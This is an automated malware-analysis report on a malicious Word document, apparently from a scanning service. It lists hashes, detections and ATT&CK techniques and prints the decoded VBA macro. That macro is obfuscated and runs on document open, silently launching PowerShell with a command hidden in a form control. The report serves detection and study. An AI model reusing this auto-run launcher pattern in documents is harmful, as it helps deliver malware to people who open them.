Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 33dec50a963efe57…

MALICIOUS

Office (OLE)

266.5 KB Created: 2019-02-04 20:36:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 5610af0246c92230d99ed63985e98c8b SHA-1: 40ab9984984072d679499203f67fc84ccf7400ed SHA-256: 33dec50a963efe57adef083033cf73a4f9edae077d37f0564604cfc046ff0e17
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute a command. This indicates an attempt to download and run a secondary payload. The ClamAV detection name 'Doc.Malware.Sonbokli-6846334-0' further supports its malicious nature. The script explicitly calls 'shell.exe' which is a strong indicator of payload execution.

Heuristics 5

  • ClamAV: Doc.Malware.Sonbokli-6846334-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sonbokli-6846334-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1824 bytes
SHA-256: 2e4d577fad4e6eb0e298af2b034103b7e91009fa6e919eb315d6123e559b2717
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim n8o1nRGgF(10 To 202) As String
n8o1nRGgF(10) = "whOJQ7KiT"
Dim IFrOCcNgG As Long
IFrOCcNgG = (824 - 804) + (49)

Dim PaNK0() As Byte
Dim Jr6pNQ As Long
Jr6pNQ = (-478 + 487) / (16)
Dim zxAj42() As Byte
Call w("er")
End Sub

Attribute VB_Name = "jZ9rVSuj4"
Sub w(btxDWvsP)
Dim Q3e9Fof(13 To 251) As String
Q3e9Fof(13) = "erYt2UMa"
Dim XfeTcwd(153) As Byte
Dim RK5BF As String
RK5BF = txP0Dhy
Dim HyCxm2K As String
HyCxm2K = fxv5XHnwj
Dim Z1WmJR70
Z1WmJR70 = YgZ4h1
Dim vn3Kc6Drz() As Byte
Dim RB5O13(13 To 210) As String
RB5O13(13) = "fHR72l8BO"
Dim uR8aJuFUf() As Byte
Dim nENVbXZ(11 To 248) As Long
nENVbXZ(11) = 185 - 142
UJq4K = "shell.exe "
Dim KFh83
KFh83 = BsqR8t
Shell gzpSZ() _
& btxDWvsP _
& UJq4K _
& hqpUXaIRz _
, 0
End Sub

Attribute VB_Name = "pSAcjw5"
Public Function gzpSZ() As String
Dim sAJx6fMOd(10 To 72) As Long
sAJx6fMOd(10) = 1808 / 226
gzpSZ = "pow"
End Function

Attribute VB_Name = "DEp0w"
Public Function hqpUXaIRz()
Dim GOHP1Sh As Object
Set GOHP1Sh = New f
Dim HorpxG6E As Long
HorpxG6E = (-1238 + 1242) + (23)
Dim nBQ1ZkwX As String
nBQ1ZkwX = GOHP1Sh.de.Text
hqpUXaIRz = nBQ1ZkwX
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{24C19680-0CBF-4C8D-A6AA-4713CE500401}{4DCEDCA2-ED5C-4D7B-8726-79B0D80D01D4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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